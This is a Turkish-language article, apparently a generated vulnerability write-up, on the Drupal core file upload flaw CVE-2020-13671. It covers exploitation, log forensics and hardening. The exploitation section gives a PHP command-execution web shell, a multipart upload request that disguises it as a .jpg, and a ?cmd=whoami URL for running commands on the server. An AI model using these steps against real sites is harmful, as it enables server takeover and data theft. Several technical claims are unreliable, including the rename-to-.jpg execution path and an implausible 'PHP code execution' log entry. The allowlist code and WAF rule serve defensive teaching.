CVE-2020-13671: Drupal core Un-restricted Upload of File
Zorluk Seviyesi: Orta | Kaynak: CISA KEV
Zafiyet Analizi ve Giriş
CVE-2020-13671, Drupal çekirdek sisteminde (Drupal core) bulunan bir zafiyettir ve "Unrestricted Upload of File" (Dosya Yükleme Kısıtlaması Olmaması) olarak sınıflandırılmaktadır. Bu zafiyet, dosya uzantı isimlerinin uygunsuz biçimde temizlenmesi nedeniyle oluşmaktadır. CWE-434 olarak tanımlanan bu zafiyet, saldırganların güvenli olmayan dosyaları yükleyerek sistem üzerinde istenmeyen etkilere yol açmalarına olanak tanır. Özellikle, kötü niyetli kullanıcılar, kötü amaçlı yazılımları (malware) sisteme zararlı dosyalar aracılığıyla yükleyebilirler. Bu tür bir saldırı, uzaktan kod yürütme (Remote Code Execution - RCE) gibi ciddi sonuçlar doğurabilir.
Zafiyetin tarihçesine baktığımızda, 2020 yılında keşfedildiğini görmekteyiz. Drupal, dünya genelinde milyonlarca web sitesi tarafından kullanılan bir içerik yönetim sistemidir (CMS). Bu durum, potansiyel bir saldırının etkisini artırmaktadır. Özellikle eğitim, sağlık, kamu kurumları ve ticaret sektörleri gibi geniş bir yelpazedeki kuruluşlar bu zafiyetten etkilenmiştir. Saldırganlar, bu zafiyeti kullanarak sitelere zarar verebilir, kullanıcılarını hedef alabilir ve veriye erişim sağlayabilirler.
Zafiyet, Drupal çekirdek kodunda, dosya yükleme işlemi sırasında dosya uzantılarının doğru şekilde temizlenmemesinden kaynaklanmaktadır. Bu durumda, bir kullanıcı belirli bir uzantıya sahip olan dosyaları yükleyebilir ve bu dosyalardaki kötü niyetli kod, sistem üzerinde çalıştırılabilir. Drupal gibi açık kaynak kodlu bir platformda, kullanıcıların yükleyebileceği dosya türleri genellikle belirtilmiştir. Ancak bu zafiyet, bu kuralların ihlal edilmesine ve kullanıcıların kötü amaçlı içerik yüklemelerine olanak tanımaktadır.
Gerçek dünya senaryolarında, bu zafiyetin nasıl istismar edilebileceğine bir örnek vermek gerekirse; bir saldırgan, Drupal tabanlı bir web sitesine rastgele seçilmiş bir dosya yükleyerek uzaktan kod çalıştırma yeteneği kazanabilir. Örneğin, bir PHP betiği (script) içeren bir dosya yüklemesi, sunucuda kötü niyetli işlemler gerçekleştirmesine olanak sağlayabilir. Bu tür bir saldırı, yalnızca web sitesinin güvenliğini tehlikeye atmakla kalmaz; aynı zamanda kullanıcı verilerinin çalınmasına, hizmet kesintilerine (Denial of Service - DoS) ve itibar kaybına neden olabilir.
Bu zafiyetten korunmak için, Drupal kullanıcıları, en son güncellemeleri düzenli olarak takip etmelidir. Drupal topluluğu, bu tür zayıflıkları gidermek için sık sık düzeltme paketleri ve güvenlik yamaları yayınlamaktadır. Ayrıca, dosya yükleme işlemlerinde sıkı denetim ve kısıtlama politikaları uygulanmalıdır. Yalnızca güvenilir dosya türlerinin kabul edilmesi, yüklenen dosyaların uygun şekilde doğrulanması ve kullanılmasına izin verilen uzantıların sınırlandırılması önemlidir.
Sonuç olarak, CVE-2020-13671, Drupal tabanlı sistemlerde ciddi bir tehdit oluşturan bir güvenlik açığıdır. Bu zafiyetin, dünya genelindeki çeşitli sektörlerde etkileri bulunmaktadır ve bu nedenle tüm Drupal kullanıcılarının konu hakkında bilinçlenmesi ve gerekli güvenlik önlemlerini alması büyük önem taşımaktadır. Unutulmamalıdır ki, bir zafiyet yalnızca bir yazılım parçasındaki kusurdan ibaret değildir; aynı zamanda işletmelerin güvenliği ve müşteri verilerinin korunması açısından kritik öneme sahiptir.
Teknik Sömürü (Exploitation) ve PoC
CVE-2020-13671, Drupal Core'un (Drupal çekirdek bileşeni) yerel dosya yükleme özelliklerinde bulunan bir güvenlik açığını ifade eder. Bu zafiyet, kötü niyetli bir kullanıcının, dosya uzantılarını uygun bir şekilde doğrulamayan bir mekânda önemli zararlara yol açmasına olanak tanır. CWE-434 (Sınırsız Dosya Yükleme) ile ilişkilendirilmiş bu sorun, uygun olmayan bir dosya uzantısının yüklenmesine olanak sağlayarak sistemde uzaktan kod çalıştırma (Remote Code Execution, RCE) gibi ciddi sonuçlar doğurabilir.
Güvenlik açığının temelinde, Drupal’ın dosya yükleme mekanizmasının, yüklenen dosya adlarını ve uzantılarını doğru bir şekilde muayene etmemesi yatmaktadır. Bu durum, kullanıcıların dosya içeriklerini kötü amaçlı bir şekilde manipüle ederek sunucu üzerinde zararlı kodlar çalıştırmasını mümkün kılmaktadır. Özellikle, uzantıları değiştirerek ya da zararlı içerik barındıran dosyalar yükleyerek, saldırganlar sunucuya erişim sağlayabilir.
Zafiyetin teknik sömürü aşamaları aşağıda adım adım açıklanmıştır. Öncelikle, hedef sistemde Drupal Core kurulu olduğundan emin olmalıyız. Ardından yapılacaklar:
Hedef Analizi: Hedef web uygulamasını analiz edin. Hangi sürümün kurulu olduğunu ve herhangi bir güncelleme yapılıp yapılmadığını kontrol edin. Genelde, bir URL üzerinden versiyon bilgisini bulabilirsiniz. Örneğin,
/CHANGELOG.txtgibi yollar genellikle sistem bilgilerini açıkça gösterebilir.Dosya Yükleme Mekanizması: Hedef sistemin dosya yükleme mekanizmasını inceleyin. Yükleme segmentlerini içeren formlara erişin ve dosya yükleme seçeneklerini test edin. Genellikle, bu formlar
multipart/form-dataşeklinde düzenlenmektedir.Kötü Amaçlı Dosya Hazırlama: Hedef sistemde çalışacak bir PHP betiği hazırlayın. Aşağıdaki gibi basit bir PHP dosyası oluşturabilirsiniz:
<?php
system($_GET['cmd']);
?>
Bu dosya, sunucudaki komutları çalıştırmak için kullanılabilir.
- Dosya Yükleme: Yukarıda hazırladığınız dosyayı hedef sisteme yüklemeye çalışın. Bunu yaparken, yükleme sırasında dosya uzantısını değiştirerek Drupal'ın dosya kontrol mekanizmasını aşmayı deneyin (örneğin,
.phpuzantısını.jpggibi bir uzantıya değiştirmek). HTTP istek örneği aşağıdaki gibi olabilir:
POST /path-to-upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------147378098314664998827466440457
Content-Length: [Length]
-----------------------------147378098314664998827466440457
Content-Disposition: form-data; name="file"; filename="malicious.jpg"
Content-Type: image/jpeg
[PHP betiği içeriği burada yer alır]
-----------------------------147378098314664998827466440457--
- Kötü Amaçlı Betiği Çalıştırma: Dosya başarıyla yüklendikten sonra, yüklediğiniz dosyanın URL'sine giderek zararlı kodu çalıştırmaya çalışın. Örneğin:
http://example.com/uploads/malicious.jpg?cmd=whoami
Bu URL, sunucudan komutları çalıştırmanıza olanak tanıyacaktır.
- İzleme ve Raporlama: Sürecin sonunda ve eğer başarılı olduysanız, gerçekleştirdiğiniz işlemleri kaydedin. Güvenlik açığına dair elde ettiğiniz bulguları, ilgili sistem yöneticileriyle paylaşın. Ayrıca, bu tür zafiyetleri sistemlerde bulmamak adına neler yapılması gerektiğine dair önerilerde bulunun.
Drupal için bu tür güvenlik açıkları, kullanıcıların bilinçli olması açısından önemli olmaktadır. Yazılımların sürekli olarak güncellenmesi ve güvenlik kontrollerinin sıkı tutulması, bu tür zafiyetlerin önlenmesine katkı sağlayacaktır. Aynı zamanda, uygun güvenlik önlemleri alınmadığında, uzaktan kontrolün (remote control) yanında veri sızıntılarına ve sistem manipülasyonlarına yol açabileceği unutulmamalıdır.
Forensics (Adli Bilişim) ve Log Analizi
Drupal, dünya genelinde pek çok web sitesi tarafından kullanılan popüler bir içerik yönetim sistemidir. Ancak, CVE-2020-13671 zafiyeti, Drupal core'da (nucleus) yer alan dosya yükleme mekanizmasının kötüye kullanılmasına olanak tanır. Bu zafiyet ile birlikte saldırganlar, uygun olmayan şekilde işlenmiş dosya uzantılarını kullanarak sunucuya tehlikeli dosyalar yükleyebilir. Bu tür bir saldırı, sistemin uzaktan kontrol edilmesine (Remote Code Execution - RCE) yol açabilir ve böylece saldırganlar, sistem üzerinde tam yetki sahibi olabilir.
Siber güvenlik uzmanları, bir Drupal sitesi üzerinde bu zafiyeti kullanarak gerçekleştirilen saldırıları tespit etmek için bir dizi log dosyası ve SIEM (Güvenlik Bilgisi ve Olay Yönetimi) sistemi kullanmalıdır. Log analizi, olası bir ihlali anlamak için kritik öneme sahiptir. Bu bağlamda, özellikle erişim logları (access logs) ve hata logları (error logs) üzerinde yoğunlaşmak gereklidir.
Erişim loglarında, genellikle dosya yükleme işlemleri ile ilgili satırlar bulunmaktadır. İlgili dosya uzantılarının, özellikle de şüpheli uzantıların (örn. .php, .exe, .jsp) bulunduğu tüm çağrıları inceleyin. Örneğin, aşağıdaki gibi bir log girdisi dikkat çekici olabilir:
127.0.0.1 - - [01/Oct/2020:13:15:21 +0000] "POST /file-upload HTTP/1.1" 200 452 "http://example.com/upload" "Mozilla/5.0" "PHP code execution"
Bu örnekte, “PHP code execution” ifadesi, potansiyel bir RCE saldırısının işareti olabilir ve dosya yüklemesi sırasında bir hata veya olağandışı bir durum olduğunu gösterir.
Hata logları (error logs) da kritik bilgilere sahiptir. Başarısız yükleme girişimleri, beklenmedik dosya türleri veya yanlış dosya yolları içeren hatalar, bir saldırının ipuçlarını verebilir. Örneğin:
[error] [client 192.168.1.1] File upload error: unsupported file type .php
Bu tür log girdileri, sistemi kötüye kullanmaya çalışan bir saldırganın yaptığı girişimleri tespit etmek için dikkatlice incelenmelidir.
İnsanı en çok tehdit eden unsurlardan biri de log dosyalarını manipüle etme kabiliyetidir. Bu nedenle, log dosyalarının değişikliklerine, yanlış içeriklere veya bilinmeyen IP'lerden gelen ani artışlara karşı duyarlı olmak kritik önem taşır. Bu tür anormallikler, yetkisiz erişim girişimlerini ve muhtemel istismarları işaret edebilir.
Modern güvenlik sistemleri, saldırı belirteçlerini otomatik olarak tespit edebilme kabiliyetine sahip olmalıdır. Bu sebeple, düzenli tarama, güncelleme ve log analizi ile birlikte, otomatik imza tespit sistemlerinin kullanımı, Drupal gibi popüler frameworkler üzerindeki zafiyetleri hızlı bir şekilde belirlemede faydalı olacaktır.
Sonuç olarak, CVE-2020-13671 gibi zafiyetlerin etkilerini önlemek için, sürekli log analizi ve düzenli güncellemeler yapmak zorunludur. Unutulmamalıdır ki, güvenlik sadece bir teknoloji meselesi değil, aynı zamanda bir süreç ve disiplin gerektiren bir uygulamadır.
Savunma ve Sıkılaştırma (Hardening)
Drupal, yaygın bir içerik yönetim sistemi (CMS) olarak, birçok web projesinde kullanılır. Ancak, kullanıcıların yükleyebileceği dosyalar üzerindeki yetersiz denetimlerden kaynaklanan güvenlik açıkları, siber saldırganların sisteme zarar vermesi için bir fırsat sunabilir. CVE-2020-13671'in temel zafiyeti, uzantı adı yeterli şekilde temizlenmediği için Drupal çekirdeğinde meydana gelir. Bu tür bir zafiyet, bir saldırganın (RCE) uzaktan kod çalıştırması (Remote Code Execution) veya başka bir kötü niyetli faaliyette bulunması için zorlayıcı bir kapı açabilir. Bu nedenle, Drupal uygulamalarını güvenli hale getirmek için bazı sıkılaştırma (hardening) yöntemleri uygulanmalıdır.
Birincil olarak, dosya yükleme işlemlerini kontrol altında tutmak için uygulamanızda yüklenen dosyaların uzantılarına dikkat etmelisiniz. Yalnızca belirli dosya biçimlerine (örneğin, .jpg, .png, .pdf) izin vererek, diğer uzantıların yüklenmesini engelleyebilirsiniz. Uygulamanızda bu kontrolleri yapmak için aşağıdaki gibi bir kod bloğu kullanabilirsiniz:
$allowed_file_types = ['jpg', 'jpeg', 'png', 'pdf'];
$file_extension = strtolower(pathinfo($_FILES['uploaded_file']['name'], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_file_types)) {
die("Geçerli bir dosya türü seçiniz.");
}
Bu kod parçası, kullanıcıların yalnızca belirli uzantılara sahip dosyaları yüklemesine izin verir. Bu, zafiyetten kaynaklanan olası tehditleri azaltır.
Firewall (WAF) kullanarak, belirli URL'lere yönelik istekleri sınırlamak da önemli bir adımdır. Web uygulama güvenlik duvarları (WAF), saldırganların belirli kalıpları kullanarak sisteme saldırmasını zorlaştırmak için yapılandırılabilir. Örneğin, WAF'da aşağıdaki kuralı ekleyerek, .php uzantılı dosya yüklemelerini engelleyebilirsiniz:
SecRule REQUEST_FILENAME "\.php$" "id:1001,deny,status:403"
Bu kural, belirli URL isteklerinde .php uzantısını kontrol eder ve eğer bu uzantıyı içeriyorsa isteği reddeder. Bu tür kalıcı kurallar, uygulamanızın genel güvenliğini artırmada kritik rol oynar.
Ayrıca, Drupal gibi sistemlerde sıkılaştırma önerileri arasında güncellemelerin düzenli olarak yapılması da bulunmaktadır. Yazılım güncellemeleri, bilinen güvenlik açıklarını kapatmak ve sistemin en güncel savunma mekanizmalarına ulaşmasını sağlamak için gereklidir. Sıkılaştırma sırasında gereksiz modüllerin kaldırılması ve yalnızca gerekli olanların bırakılması, potansiyel saldırı yüzeyini azaltır.
Tüm bu önlemler, uygulamanızın güvenliğini artırmak ve siber saldırganların Drupal çekirdiğindeki güvenlik açıklarından yararlanmasını zorlaştırmak için etkili birer savunma mekanizmasıdır. Unutulmamalıdır ki, güvenlik sürekli bir süreçtir ve sistemin hem güncel hem de düzgün bir şekilde sıkılaştırılmış olması, bu tür zafiyetlerin önlenmesi için kritik öneme sahiptir.